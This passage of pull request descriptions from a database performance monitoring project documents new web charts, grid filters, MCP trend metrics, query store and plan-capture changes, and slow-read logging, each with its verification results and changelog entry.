- New `WebPerfmonMultiSelectBehaviourTests` (14) with `web-perfmon-multi-harness.mjs`; `WebPerfmonPerSecondBehaviourTests` expectations changed from "Per second"/"Value"/"Delta" series to one line per counter.

## What is not changed
- The snapshot table, its per-second columns, and `get_perfmon_trend`. The read takes a counter name and no instance, so the list is by counter name (the desktop also lists by counter name). The desktop's other packs are not offered.
- `panels.js`, `util.js`, `charts.js`, `app.js`, CSS (the existing picker rules are enough).

## Also
- The trend harness copies `pages/plan-viewer.js` when it exists, so it keeps loading once the plan viewer import lands in `server-tabs.js`.
- When none of the default pack is collected, the first counter is checked (the desktop checks none); this continues the page's earlier behaviour.

## Verified at the head
- `WebPerfmonMultiSelectBehaviourTests`: 15 pass (one new: a counter with no trend lists the collected counters as text, "Collected here: …", instead of pointing at a JSON path). `WebPerfmonPerSecondBehaviourTests`: 10 pass. `WebWaitStatsMultiSelectBehaviourTests`: 14 pass, unchanged.
- RED on dev: the new harness cannot pass against dev's `server-tabs.js` (no picker, no `drawPerfmonTrends`; the `defaults` scenario fails at the missing Select All / mp-count node).
- Every `.mjs` / `load-web-modules` class, `WebModuleLoadTests` and the Census/Ratchet/Adoption/Discipline/Guard/Scrub/Hygiene/Pin/Convention family (104 classes, 1,300 tests): 1 failure, `LivePostgresCollectionHygieneTests` (Mac-local; it cannot load WPF types here).
- `scrubcheck` on the diff: exit 0.

## CHANGELOG entry
SECTION: Added
ENTRY: - **Web Perfmon chart charts several counters at once** ([#5162]) - the chart now has the desktop's checkbox list with search, Select All, Clear All and the General Throughput default set, up to 10 counters on one zoomable chart. Your choices are kept across the page's refresh.
REF: [#5162]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5162

* WEB: the PostgreSQL tabs' window aggregates and trend grids say where their data starts (part of #4966) (#5165)

The web server page's PostgreSQL tabs now say where their data starts on eleven more reads: top queries, blocking, database stats, session states, I/O stats and replication stats, the database, query-duration, wait and I/O trend grids, and captured plans. WebDataStartNote lists each read with the table its rows come from; blocking, session states and replication stats are sparse (most samples store nothing) and have no retention edge, so they are probed on their own collector's runs instead (CollectorRunsByRead), and a long-monitored server whose first blocking chain or replica came recently reads as covered.

Each read's "captured, found nothing" status word is admitted where it has one (no_blocking_sampled, no_io_activity, empty for the database, session-state and trend reads), never not_sampled, unavailable or precondition; tools that answer rows with a status word and no message (session_states, blocking_sampled, cycles_only, the trend words and others) are accepted as row answers. No stat tile beside these reads shows only newest values, so no panel opts out, and server-tabs.js is unchanged.

Tests: the live PostgreSQL theories cover the 17 noted tables; a sparse read on an old server with one late row gets no note, and on a two-day-old server gets one; the status words are pinned from the tool sources and by behaviour; 11 page scenarios through the Node harness; the source pin is scoped to the listed reads.

Part of #4966

* Web line charts get a menu: copy/save image, export CSV, show data source, reset zoom (#5166)

Part of #4843

## What users see
Every web line chart has a small "⋯" button at its top right, and right-click on the chart opens the same menu. Items, in the Viewer's order and wording:
- **Copy Image**: draws the chart to a PNG and puts it on the clipboard (secure page only; otherwise a plain message says why).
- **Save Image As...**: downloads the PNG.
- **Reset zoom**: only while the chart is zoomed (#5092).
- **Export Data to CSV...**: one row per time and series (`DateTime (UTC),Series,Value`). It exports every loaded point, also while the chart is zoomed, the same as the Viewer. Times are UTC in three columns; the Viewer writes the display time zone plus a UTC-offset column.
- **Show Data Source**: the read name and its parameters, shown under the chart. Hidden when the chart has no read to name.

The menu is keyboard reachable: Tab to the button, Enter to open, Arrow keys to move, Escape or Tab to close. A right-click menu opens at the pointer and stays inside the chart. The open menu and the Show Data Source panel stay open across the 60 s refresh (kept at module scope per chart and page scope, for 90 s).

## What changed
- `charts.js`: `renderLineChart` attaches the menu, so every chart gets it. New optional spec fields `title`, `source` ({ read, params }), `zoomed`, `onResetZoom`. `zoomableLineChart` supplies the zoom pair. No new exports are imported by any other module.
- `panels.js`: the panel chart passes its title and its read name and params (two lines).
- `css/app.css`: menu rules beside the chart tooltip rules.
- CSV reuses `grid-tools.js` (`toCsv`, `csvFileName`, `downloadCsv`), loaded on first use. PNG: the SVG is cloned with computed styles written inline, drawn on a canvas, no external fetches.
- Copy Image hands the clipboard a promise for the PNG (Safari needs the write started inside the click); a failed CSV module load shows "Export failed".
- Tests: `WebChartMenuBehaviourTests` + `web-chart-menu-harness.mjs`.

## Not changed
- **Open in New Window** is out of scope.
- Server-tab and FinOps charts that call `zoomableLineChart` directly pass no `source`, so they show no Show Data Source until a caller passes it.
- Bar, pie and scatter charts have no menu.

## Verified at the head
- New harness on dev's `charts.js`: RED (the menu does not exist; the harness throws). On this head: 8/8 pass (adds right-click placement `right:auto` + clamped left/top, zoomed CSV = all 11 points, Tab closes, menu and source survive a rebuild).
- Every `.mjs`-harness class (incl. `WebModuleLoadTests` 7/7, `WebChartZoomBehaviourTests` 10/10, `GridToolsBehaviourTests` 9/9): 0 failures. `ChartIntegerTicksPinTests` needed the spec destructure kept as is; passes 3/3.
- This run: the targeted classes, every `.mjs` class and the guard family, 113 classes, 1364 tests, 1 failure.
- Guard family (all classes ending Census/Ratchet/Adoption/Discipline/Guard/Scrub/Hygiene/Pin/Convention Tests, plus `DocCommentHygieneTests`): only `LivePostgresCollectionHygieneTests` fails, and it is on `dev-local-failing-tests.txt`.
- Full Darling.Tests on this Mac: 22847 total, 478 failed, 1920 skipped. Every failing class is on the Mac-local list (parameterized rows and `ViewerChartContextMenuTests`, WPF); none touch charts.js.
- Not run in a real browser: the canvas, clipboard and menu placement are untested there (the node harness has no canvas or layout); worth one manual click-through.
- scrubcheck on this file and the diff: exit 0.

## CHANGELOG entry
SECTION: Added
ENTRY: - **Web line charts have a menu** ([#5166]) - Each line chart has a "⋯" button (and right-click) with Copy Image, Save Image As, Export Data to CSV, Show Data Source (where the chart knows its read) and Reset zoom (while zoomed).
REF: [#5166]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5166

* get_server_trend: latch, spinlock, session stats and collector duration trends (#5170)

Part of #4843

## What users see change
`get_server_trend` (and its `/api/read/get_server_trend` route) takes four more `metric` values:

| metric | a point holds |
|---|---|
| `latch` | `wait_time_ms_per_second`, one series per latch class |
| `spinlock` | `collisions_per_second`, one series per spinlock |
| `session_stats` | the server-wide session counts (`total_sessions`, `running_sessions`, `sleeping_sessions`, `background_sessions`, `dormant_sessions`, `idle_sessions_over_30min`, `sessions_waiting_for_memory`, `databases_with_connections`), averaged per bucket, plus the top application and host of the newest collection in the bucket |
| `collector_duration` | `max_duration_ms`, `avg_duration_ms`, `run_count` of successful runs, one series per collector |

- **New `names` parameter** for `latch`, `spinlock` and `collector_duration`: comma-separated, exact case, up to 10, default the top 5 (most wait time, most collisions, longest run). Names with no samples come back in `missing_names`. If none of the named ones has a sample, the answer is `empty` with a distinct note, `missing_names` and `top_names`. `names` on any other metric is refused, and `clerk_types` on these three is refused.
- Latch and spinlock rates use the viewer's rule: summed delta over the summed stored interval, and a restart's unknowable (interval 0) sample is left out rather than drawn as 0.
- Same envelope as before: house window and bucket parameters, omitted nulls, `discontinuities[]`, and `empty` / `unavailable` / `not_collected`. `session_stats` is sized as four single-field points so its default 168 h answer stays under 32 KB.

## What changed
- `ServerTrendSql.cs`: `SessionSummary` (moved verbatim from the viewer), `LatchWaits(n)`, `SpinlockCollisions(n)`, `CollectorDurations(n)`, the three top-N reads and four "ever collected" probes. The viewer's `SessionStatsSql` now points at `ServerTrendSql.SessionSummary`; I diffed the old and new text and they are identical (71 lines).
- Latch, spinlock and collector duration: the viewer's reads have a different shape (per-row rates for a fixed top 5; per-collector buckets with no name filter), so the bucketed, name-filtered reads are written new in the house style. The viewer's SQL is untouched. One new read per metric, no new Storage reader class.
- `DarlingMcpServerTrendTools.cs`: the four metrics, `names`, a shared series path for clerks, latch, spinlock and collectors, notes and `Fields` per metric. `DarlingWebEndpoints.cs`: `names` in the catalog row and dispatch. `GetServerTrend`'s internal overload takes `names` before the budget so the cancellation token stays last (CA1068).
- Budget txt, ceiling, and tests.

## What's not changed
No `wwwroot`, no `DarlingManagedRoles.cs`, no migration, no change to the four earlier metrics' output. Left for a later change: `tempdb_file_io`, `tempdb_size`, `file_io_throughput`.

## Budget
- `tools/list`: 186,010 -> 186,158 bytes (+148); `TotalCeilingBytes` set to 186,158.
- Per-file txt: tool head 279 -> 331 (text grew after the guide marker mostly), `metric` param 61 -> 44 (the list moved into the tool description), new `names` param 70.
- Largest default call at 168 h, on a week of one-minute collections (8 latch classes, 8 spinlocks, 12 collectors): latch 11,127 B, spinlock 10,831 B, session_stats 17,944 B, collector_duration 15,627 B. All under the 32 KB target. The four earlier metrics are unchanged (largest 17,555 B, cpu_scheduler). Widest explicit width: latch 106,172 B at 34 min, spinlock 103,197 B at 34 min, session_stats 149,898 B at 27 min, collector_duration 149,991 B at 34 min, all under the 320 KB cap.

## Verified at the head
- Build: Darling.Tests Release, 0 errors, no CA/CS/IDE warnings after the CA1068 fix.
- `DarlingMcpServerTrendToolsTests`: 13/13 (parameters including `names`, eight-metric list in the description, refusals, every field a note names is emitted, `missing_names` in the description, name/width binding in the SQL, viewer and tool share the session SQL text).
- `DarlingMcpServerTrendToolsLiveTests`: 2/2 on a throwaway TimescaleDB 2.30.1 / PG18 container (host port 55615, removed). The new arm covers planted values for all four metrics (100 ms/s latch, 20/s spinlock, 100 then 120 sessions with the newest collection's application, 9000 then 9100 ms slowest collector), the restart-marker sample dropped as a point, a failed run not counted, `missing_names`, the none-found empty note, `unavailable` before any collection, `empty` for a quiet window, and the 168 h sizes above. Run 4 times; one run failed once on `bucket_minutes` auto sizing (fixed by pinning 1 minute in the planted arms) and is stable since.
- `WebReadCancellationPinTests` 139/139 (its `metric=total_waits` query string still works; the new parameter is optional).
- `McpToolsListBudgetTests` 5/5, `McpToolGuideTests` 10/10, `McpToolGuideHeadsDataTests` 3/3, `BaselineDiscontinuityRenderTests` 3/3, `EngineCapabilityReadWiringTests` 6/6 (the capability question names `latch_stats`, `spinlock_stats` and `session_stats`; `collector_duration` asks no collector because the log is not a gated collector).
- Guard family: all 79 Darling.Tests classes ending in Census, Ratchet, Adoption, Discipline, Guard, Scrub, Hygiene, Pin or Convention + Tests, plus DocCommentHygiene, RepoFileAdoption, TsqlConventionGuard, FleetIdentifierScrub, QueryStoreSliceTieBreakSource, the three command-timeout classes and the viewer session/duration/latch classes: all pass except `LivePostgresCollectionHygieneTests.EveryClassUsingTheSharedStore_IsSerializedOrDocumentsWhyNot` (loads WPF types; on the Mac-local list) and `ViewerCollectorDurationChartTests.TheChart_IsFedItsOwnRead_NotTheGridsPage` (PresentationFramework; on the list).
- Full Darling.Tests once: 22,847 run, 552 failed, 247 skipped. All failing names (430 distinct after dropping theory-row arguments) are on `dev-local-failing-tests.txt`; none is new.
- RED on dev: `Metrics` has four entries, `names` and `SeriesOf`, `ServerTrendSql.SessionSummary`/`LatchWaits`/`SpinlockCollisions`/`CollectorDurations` do not exist, so the new tests fail to compile there (RED by compile failure). Before the sizing fix, session_stats was 68,530 B at 168 h, over the 32 KB target.
- Not run: Lite.Tests (never run on this Mac; the change touches no Lite file).
- Finds: 0 substantial, 1 hygiene fixed in-lane (session_stats default width sizing), 0 polish.
- Follow-up at head 96df107d5 (dev merged in): a latch or spinlock row with a known interval but a NULL delta no longer adds its seconds to the rate (the Viewer drops that row too); `KindMetric` is gone and `ReadTopNamesAsync` always takes the metric. New live test `TheRateRules_SessionNewestCollection_AndCollectorNames_HoldAgainstTheStore` covers the NULL-delta row (RED before the fix: 50 ms/s instead of 100), a latch row with no stored interval (previous-collection gap), two session collections in one bucket (the newest one's attribution) and `names` for collector_duration. `DarlingMcpServerTrendToolsTests` 13/13, live class 3/3 on a throwaway TimescaleDB container (removed); `McpToolsListBudgetTests` 5/5 with tools/list measured at 185,766 bytes, under the unchanged 186,158 ceiling; `McpToolGuideTests`, `WebReadCancellationPinTests` and the 80-class guard family green except `LivePostgresCollectionHygieneTests` (loads PresentationCore, Mac-only).

## CHANGELOG entry
SECTION: Added
ENTRY: - **More server trends over MCP: latch, spinlock, session stats and collector duration** ([#5170]) - `get_server_trend` now also returns the latch wait and spinlock collision rates per name, the server-wide session counts, and the per-collector run duration trend the desktop charts draw, with a `names` filter for the per-name ones.
REF: [#5170]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5170

* Web Top Queries: the desktop grid's 45 columns, grouped, with a detail=full read for the fields the page lacked (#5169)

Part of #4843

## What users see
The server page's Top Queries grid (both the CPU tab panel and the composite panel) now has the desktop Top Queries columns in the desktop's order, 45 in all (the desktop's Query Plan download column is the separate plan work). The core set shows by default: Database, Query, Module, Execs, Total/Avg CPU, Total/Avg Duration, Total/Avg Reads, Total Spills, Query Hash. Six toggles under the "Columns:" strip turn on the rest: Times (Last Execution, Creation Time, Peak CPU ms/s, Plan Gen, Total CLR), I/O and rows, Extremes, Memory grants, Parallelism, Hashes and handles. Sort, Copy and CSV work on the wider grid; Copy and CSV carry every column. On the hourly tier the fields that tier lacks print a dash.

Query sits right of Database, not behind the two timestamps as on the desktop, because a pinned rule keeps query text next to the anchor. Module at index 2 is a choice of this grid, not a rule the pin states. Last Execution and Creation Time print in the browser's local time.

## What changed
- **Page:** `TOP_QUERY_COLUMNS` (45 keys) plus `TOP_QUERY_GROUPS`, passed to both Top Queries grids. Both ask for `detail: "full"`.
- **Read:** `get_top_queries_by_cpu` gains an optional last parameter `detail` (`summary` default, `full`). `full` adds last_execution_time and creation_time (UTC instants written with the "o" format; the read converts them from the monitored server's clock per row, as every other server-local column on the MCP surface is, and the frame census carries a row for them),  min/max physical reads, rows, grant / used grant / ideal grant KB, spills, reserved and used threads, total_clr_ms, plan_generation_num and worker_time_per_second. Fields the store holds no value for are omitted, not written as null. The raw tier only: an hourly-tier read adds nothing, and `precision_note` now says so when `detail=full` was asked and the hourly tier answered. Both aggregates (`TopQueriesSql`, `TopQueriesByHostObjectSql`) select the extra columns and the reader maps them into a `TopQueryDetail` record. The HTTP catalog and dispatch pass `detail`.
- **Size, measured live on a throwaway TimescaleDB, 168 h, top 20:** default call 12,980 bytes, `detail=full` 14,027 bytes (22 groups, only one with the detail columns, short text). A row with every detail field adds 294 bytes, so 20 full rows add about 5.9 KB; the default call is unchanged, and full stays under the 32 KB target unless query text is near its 2,000-char cap on most rows. Neither form has a byte bound: the summary call has no page cut or `truncated` flag for size (query_text is capped at 2,000 characters per row and nothing else bounds the payload), so `full` follows the same rule and adds about 6 KB at 20 rows. A size bound for both forms (a shorter text preview) is a separate follow-up that would change the summary call; it is not part of this PR. Because the default call is untouched, no opt-in was needed beyond `detail`.
- **tools/list:** new line `param get_top_queries_by_cpu.detail 122` in `McpToolsListBudget/DarlingMcpDataTools.txt`. `TotalCeilingBytes` (186,010) did not need to grow (the budget test passes).
- Tests: `DarlingCustomViewsTests` param keys and `WebServerPageRangeTests` read URL now include `detail`.

## Not changed
- `PG_TOP_QUERY_COLUMNS`: a different engine; the PG read does not return these fields.
- Lite and the desktop grid are untouched.
- The Plan column (#5156) is on dev and merged into this branch: both grids pass `[...TOP_QUERY_COLUMNS, planColumn(server)]` plus the groups.
- Peak CPU ms/s is the desktop's `WorkerTimePerSecond`: the max per-collection rate in the window.

## Verified at the head
- New `WebTopQueriesColumnsTests` 8/8: column keys against the read's projection parsed from source, desktop order, group layout (all six groups used, none on by default, core set ungrouped), both grids pass groups and `detail: "full"`, `detail` is an appended optional, both aggregates select the detail columns in the reader's order.
- RED on dev: all 8 fail (the new class run in a worktree of origin/dev).
- New live `TopQueriesDetailLiveTests` 1/1 on a throwaway TimescaleDB container (removed): reader detail values, MCP summary omits them, full carries them and omits nulls, bad `detail` refused, both sizes under 32 KB.
- Also green: `ViewerGridPayloadColumnOrderPinTests` 30/30, `McpToolsListBudgetTests` 5/5, `ServerTabColumnGroupsPinTests` 2/2, `WebServerPageRangeTests` 11/11.
- Full Darling.Tests on the Mac: 22,911 run. After fixing the three failures this PR caused (query-text order, budget txt line, range-test URL), the remaining failures are the Mac-local set (DarlingInstallLocation, Viewer WPF classes, etc.). Five live classes outside the dev-local list failed in the full run and also fail on origin/dev on my rig (TopCpuQueriesTextLive, FinOpsOptimizationTieBreak, StoreMetricsLatestSkipScanLive, ViewerFinOpsIntervalHonestLive, FinOpsOptimizationViewLive); they did not involve this change.
- The guard family and every `.mjs`-harness class were included in that full run.
- At the new head (dev merged in): `WebTopQueriesColumnsTests` 8/8, `TopQueriesDetailLiveTests` 1/1 (non-zero server offset: stored local times come back as UTC; host_object call; a 5-billion physical-reads extreme), `TopQueriesHourlyRoutingLiveTests` 7/7 (a `detail=full` call answered from the hourly tier carries the note and no detail field), `ConsumedTimestampFrameDisciplineTests` 17/17, `ViewerGridPayloadColumnOrderPinTests` 30/30, `McpPayloadContractCensusTests` 68/68, `McpToolsListBudgetTests` 5/5, `WebPlanViewerPageTests` 6/6, the 108-class guard family plus `.mjs`-harness set clean on the Mac except `LivePostgresCollectionHygieneTests` (loads WPF types; dev-local list). Full suite: 22,975 run, 568 failed, every one on the dev-local list or one of the five live classes named above.
- scrubcheck on the diff exits 0.

## CHANGELOG entry
SECTION: Added
ENTRY: - **Web Top Queries shows the desktop grid's columns** ([#5169]) - the server page's Top Queries grid now carries the desktop's 45 columns in six toggle groups (times, I/O and rows, extremes, memory grants, parallelism, hashes and handles), with the core columns on by default. `get_top_queries_by_cpu` gains an optional `detail=full` that adds the grant, thread, extreme, time, CLR and plan-generation fields.
REF: [#5169]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5169

* get_query_store_top answers long windows from the daily summary, and says the answer is approximate (#5094) (#5168)

get_query_store_top answers long windows from the daily summary, and says the answer is approximate (#5094)

Fixes #5094. The table path used to aggregate every interval row in its window on every call. On a large store a 168-hour read took 6-23 s cold and 2.7 s warm, almost all of it heap reads.

- When the interval table serves the read, the whole UTC days inside the window come from collect.query_store_top_daily (built by #5125), and only the partial days at the edges come from collect.query_store_interval_wide. The read takes the longest contiguous run of built days in the gate's own REPEATABLE READ, READ ONLY snapshot, with ties going to the latest run. With no built day in the window, today's statement runs unchanged (same text, same parameters).
- The summary is approximate by design (Erik's call on #5094): a write into a day after it was built is missed, a row that moves into the next day can count twice until the day's second pass, and a monitored-server clock more than an hour ahead drops rows. In the clean case the answer equals today's exactly. Answers that used the summary carry approximate: true, an approximation_note and summary_days, including the two empty answers, and the web Query Store grid shows the note. The viewer's own Query Store read stays exact.
- Read failures keep #5136's accounting: a fault after the gate chose the table, the built-days read included, is recorded as a raw fallback and answers from raw.
- Tests: QueryStoreTopDailyReadLiveTests (25 facts: equality against today's read on fixed past anchors, edge bounds, run selection, the documented double count, the empty-answer flags and the fault fallback), plus the payload-contract census and the web tab pins.

* query_stats can fetch plan XML in a second target query for only the rows that need it (inert, #5158) (#5173)

query_stats can fetch plan XML in a second target query for only the rows that need it (inert, #5158)

Part of #5158, the first of three PRs. Nothing sets the new switch yet, so no collector's SQL or behavior changes.

- With plan capture on, every query_stats run renders sys.dm_exec_text_query_plan for all of its ~200 rows and ships the XML, although almost all of those plans are already stored. #5158 measured 53.75 GB/h rendered and 28.83 GB/h shipped on one large store, against 1.14 GB/h of distinct plans.
- CollectorContext.DeferPlanXmlFetch (default false) leaves the plan fragments out of BuildQuery and skips the plan ordinals in ReadAsync, through one shared predicate.
- QueryStatsCollector.BuildPlanFetchQuery builds one statement for a list of (plan_handle, start offset, end offset) keys: an inline VALUES list of host-rendered 0x literals, OUTER APPLY sys.dm_exec_text_query_plan, the same size-cap CASE and byte column as the inline fragment, and OPTION(RECOMPILE). It throws when capture is off, the list is empty, or a handle is not 1 to 64 bytes. ReadPlanFetchAsync maps each ordinal to its plan and size.
- Row.KnownPlanDigest and ICollectorRowWriter.PayloadOrDigest (default: Value(content)) let a later writer store a known digest in place of the plan text. WritePayload calls it, and with the default every row writes exactly as before.
- Tests: QueryStatsPlanFetchTests (18) and QueryStatsSqlGoldenTests (4 SHA-256 pins of the full BuildQuery text for Standard and Azure SQL DB, capture on and off, computed on dev and unchanged here).

* Web CPU and Memory tabs chart the CPU scheduler, memory clerk and plan cache trends (#5161)

Part of #4843

**Stacked on #5162 (Perfmon multi-select): this branch contains that PR's commits and uses its new `multi-picker.js` options, so it must land after #5162.**

## What users see
- **CPU tab:** a "CPU Scheduler Trend" chart (runnable, blocked and queued task counts; axis "tasks"), as the desktop's CPU Scheduler chart draws them.
- **Memory tab:** a "Memory Clerks Trend" chart (MB) with a clerk selector, and a "Plan Cache Trend" chart (single-use and multi-use MB).
- The clerk selector is the shared multi-select (#5119), capped at the read's 10 clerk types. Its options are the clerks of the latest snapshot, heaviest first; the heaviest five are checked the first time, as on the desktop. The checked set and search text survive the 60 s rebuild and are kept per server.
- Clerk types the read found no samples for are named in a notice. Baseline discontinuities show through the existing `discontinuityNotes` helper. An empty answer shows the read's own message.
- All three charts use the zoomable chart path (#5092).

## What changed
- `server-tabs.js`, CPU and Memory tab regions only: `serverTrendPanel` (cpu_scheduler, plan_cache), `memoryClerksTrendPanel` and `drawClerkTrends`, with no new import beyond `multi-picker.js`. The clerk picker passes `noun: "clerk"`, `defaultsLabel: "Top clerks"` and `defaults` = the heaviest five, so its button, hint and empty-search text say clerk, and the button checks five like the desktop's Top Clerks. When no named clerk has samples, the missing list and the heaviest clerks come from the empty answer's `hints` and show as text.
- Reads go through `readToolWithinKeptHistory` with `{ server, metric, hours }` (and `clerk_types` for clerks), so the page range, the custom range's `as_of` (#5108) and the kept-history narrowing apply like the sibling panels.
- `Lite.Tests/BaselineDiscontinuityRenderCensusTests`: the census counted four `discontinuityNotes(...)` uses; it now counts six and names the two new functions (`serverTrendPanel`, `drawClerkTrends`). After merging #5162 the census counts six and lists `drawWaitTrends`, `drawPerfmonTrends`, `drawQueryTrend`, `fileIoPanel`, `serverTrendPanel`, `drawClerkTrends`; I checked each boundary by hand (one use per function, 6 in total). Lite.Tests builds here but cannot run; I traced the regex `discontinuityNotes\((trend\.data|res\.data)\)` by hand: the new uses are `discontinuityNotes(res.data)` and `discontinuityNotes(trend.data)`, so 4 + 2 = 6.
- Tests: `WebServerTrendsPageTests` (read names, params, placement), `WebServerTrendsBehaviourTests` with `web-server-trends-harness.mjs` (series and unit, selector defaults, state across a rebuild and per server, `missing_clerk_types`, empty answers, no trend read when no clerk snapshot).

## Not changed
The panel context carries no abort signal, so these reads are not aborted by the page's 60 s rebuild (they mount into a detached node, as the Wait Stats and Perfmon panels do); a newer clerk draw does abort the older one. The clerk options come from the latest snapshot, not every clerk seen in the window.

No other `server-tabs.js` region, `panels.js`, `util.js`, `charts.js`, `app.js` or CSS. No tool or store change.

## Verified at the head
- RED on dev: `WebServerTrendsPageTests` 5/5 fail, `WebServerTrendsBehaviourTests` 7/7 fail (dev's `server-tabs.js` with the new tests).
- GREEN: `WebServerTrendsPageTests` 5/5, `WebServerTrendsBehaviourTests` 9/9 (new: picker wording and the five-clerk defaults button; hints lists on the all-missing answer), `WebModuleLoadTests` 7/7, Perfmon and Wait Stats classes unchanged (15, 10, 14).
- Every `.mjs`-harness class and the guard family (104 classes, 1,300 tests): only `LivePostgresCollectionHygieneTests` fails, which is on the Mac-local list.
- Lite.Tests: build only; not run.
- scrubcheck on the diff exits 0.

## CHANGELOG entry
SECTION: Added
ENTRY: - **CPU scheduler, memory clerk and plan cache trend charts on the web server page** ([#5161]) - The CPU tab charts runnable, blocked and queued tasks; the Memory tab charts memory clerks (with a clerk selector) and plan cache size, matching the desktop.
REF: [#5161]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5161

* Web grids: per-column filters that survive the repaint and shape Copy and CSV (#5183)


Part of #4843

## What users see change
- Every data-grid column header has a small ▾ button. It opens a text box: rows whose rendered text in that column contains the text (any case) stay, the rest hide. A list-valued cell matches on the text it shows.
- Filters on several columns combine with AND.
- A filtered column's button is highlighted. A strip above the table lists each active filter with a × to clear it, a "Clear all filters" button, and "Showing N of M rows".
- Escape closes the box and returns focus to the header button. Focus leaving the box closes it.
- Copy all and Export CSV carry the filtered rows, in the current sort order, with every column (hidden and grouped-away ones too), as the desktop export does.

## What changed
- `panels.js`: `gridFilter` (called from `vizTable`), module-level filter state, and `gridTools` now reads the rows not hidden by a filter. `reapplyGridSort` also re-applies the filter for grids reconciled in place.
- `css/app.css`: the filter rules, beside the existing grid-tools and column-picker rules.
- State keyed like the sort state (`gridSortKey`: route + table identity + column set): filter text per column, and which box is open (plus whether it had focus). The 60 s repaint keeps both; another server's route starts unfiltered.
- Opt-outs: `filter: false` on the descriptor or a column; `copy: false` control columns get no button.

## Not changed
Column groups, `copy: false`, sorting, drill state, `grid-tools.js` helpers (reused as they are). Copy cell / Copy row act on the picked cell wherever it is.

## Verified at the head
- New `GridFilterBehaviourTests` (node harness `web-grid-filter-harness.mjs`): 8/8. RED on dev: 7 of 8 throw (no filter button exists) and the opt-out test fails on its per-column expectation.
- `GridToolsBehaviourTests` 9/9, `ColumnGroupsBehaviourTests` 6/6, `GridSortBehaviourTests` 10/10, `WebModuleLoadTests` 7/7, `ServerPageTabsTests` 19/19; all `.mjs`-harness classes green.
- Guard family (93 classes): all green. `PlanForceActionDetailCensus` and `SqlTextPin` are not test classes (0 tests).
- Classes naming changed files/symbols (FinOpsTab*PageTests, Web*Tests, DarlingWebAssetsTests and others): green. `RawWindowFloorViewerPortTests` fails 3 on this Mac; it is a Viewer/WPF class and unrelated to this diff.
- `node --check` on `panels.js`: clean. Not run: `LivePostgresCollectionHygieneTests` (WPF load on this Mac), Lite.Tests (no Lite file names a changed symbol).

## CHANGELOG entry
SECTION: Added
ENTRY: - **Per-column filters on the web grids** ([#5183]) - each column header opens a filter box that matches the text you see; filters combine, show "Showing N of M rows", survive the 60 s refresh, and Copy all and Export CSV carry only the filtered rows.
REF: [#5183]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5183

* MCP: Darling's config change, collection log, plan correction and memory pressure tools say where their data starts (part of #4966) (#5181)

Six Darling MCP tools now say where their data starts, with the contract Lite's twins and Darling's other window-floor tools use: get_server_config_changes, get_database_config_changes, get_trace_flag_changes, get_collection_log (one server), get_plan_corrections and get_memory_pressure_events write effective_start (UTC, with a Z), window_truncated and truncation_note right after hours_back on a data answer, and the same keys under hints on an empty answer. not_collected and unavailable answers are unchanged, the fleet form of get_collection_log carries no notice, and a failed coverage probe costs the notice, never the rows.

Coverage sources: the config tools probe their own snapshot tables (server_config, database_config, trace_flags), with the viewer's and the web's rule that a snapshot from before the window is not coverage and a logged run in the window is; the config collectors run at every connect and every 24 hours, and every run is logged. get_collection_log probes the collection log and ignores the collector, status and duration filters. get_plan_corrections probes plan_correction; an answer of only automatic-tuning rows is a data answer, and its sentence no longer calls it empty. get_memory_pressure_events probes the events on sample_time, edged at the purge cutoff. The config tools and memory pressure decide not_collected before they probe.

The web page: WebDataStartNote.AddAsync now strips a listed read's own three keys on every answer it returns, not only when it adds its note, so a covered or short window no longer hands the page the tool's UTC verdict. The memory pressure page read is not on the web's list; its empty grid shows the tool's own note when the window was cut.

Tests: the config tools' live class (a notice when collection starts inside the window, a quiet start, an empty answer with hints, the key order, a short window, the pre-window snapshot with and without a run, a failed probe); the collection log, plan correction and memory pressure live classes (the same cases, plus capped pages, a tuning-only answer that never calls itself empty, and an event sampled before the first collection); a not_collected answer that starts no probe; the web live tests assert the tool's keys are absent; census and EffectiveStartUtcTests rosters. Response budgets at the default call stay under 32,768 bytes.

Part of #4966

* LITE AND DESKTOP: the blocking charts' data-start note follows the blocked process report collector when the chart draws its reports (part of #5098) (#5159)

In Lite and the desktop viewer, the Blocking trend, the blocking duration Stats pair and the Overview blocking chart draw blocked process reports from the Extended Events session whenever the window holds any, and the DMV blocking snapshots only otherwise. Their "Showing since" note probed both collectors' coverage, so when the DMV collector covered the whole window but the blocked process report collector only started collecting midway, the note said covered while the chart drew zeros before that collector's first run. That stretch now gets the note.

Each app gains a cheap existence check with the read's own predicate (server, event-time window, database filter, and the viewer's collection-time floor). When the read took the reports, the note's coverage is that collector's alone. In Lite that is GetQueryWindowFloorAsync with includeAlsoCovered: false. In the desktop viewer it is the collector's own runs in the collection log: a run before the window means covered, otherwise the earlier of its first run in the window and the earliest report in the window (a first collection can store earlier reports); the shared table and run probes both start at the server's registration and so could not see a collector turned on later. When the window starts before the collection log's retention horizon, the table rule answers, as the Blocked Process Reports grid's does. The DMV branch, the deadlock notes and the grid are unchanged.

Not covered: a server whose collector ran throughout but whose blocked process threshold was set midway (the collector logs successful runs with no rows, which its runs cannot tell from quiet hours), and a collector that stopped and started again inside the window; #5098 stays open for the first.

Tests: the desktop viewer's coverage class gains the midway case (it failed on the earlier code), a report older than the first run, runs before the window, a window before the log's horizon, no reports, and reports covering the window; Lite's blocking-chart and Overview classes gain the same cases plus a database-filter pin; the call-site pins in both apps follow the new calls.

Part of #5098

* Record slow reads with their arguments, source and statement times (#5097) (#5163)

Slow reads can now be read back with what they were asked for and where the time went. The MCP tools, the web read routes and the Custom Views panels each record a read that ran 5 seconds or more, or ended in a timeout, an error or a limit. The new `collect.slow_reads` table (migration V162) stores:
- the surface, the route and the outcome;
- the total time and, for reads that count them, the rows returned;
- the server and the time window asked for;
- the source chosen (raw, the interval table, hourly edges) and the gate's reason;
- each statement's time, up to 50 statements.

**Statement times** come from one process-wide Npgsql activity listener. It samples only inside a recorded read, so collector and background commands create no activity. A statement's time runs until its reader closes, so it includes row streaming. Only the product's SQL text feeds a statement's label, never the connection details.

**Arguments** keep only short scalar values:
- numbers and booleans;
- strings of 128 characters or fewer that look like neither JSON nor a credential.

Anything else is stored as `[omitted]`:
- JSON payload strings such as `add_servers`' `servers_json`;
- URL user-and-password parts;
- `Password=` or token text.

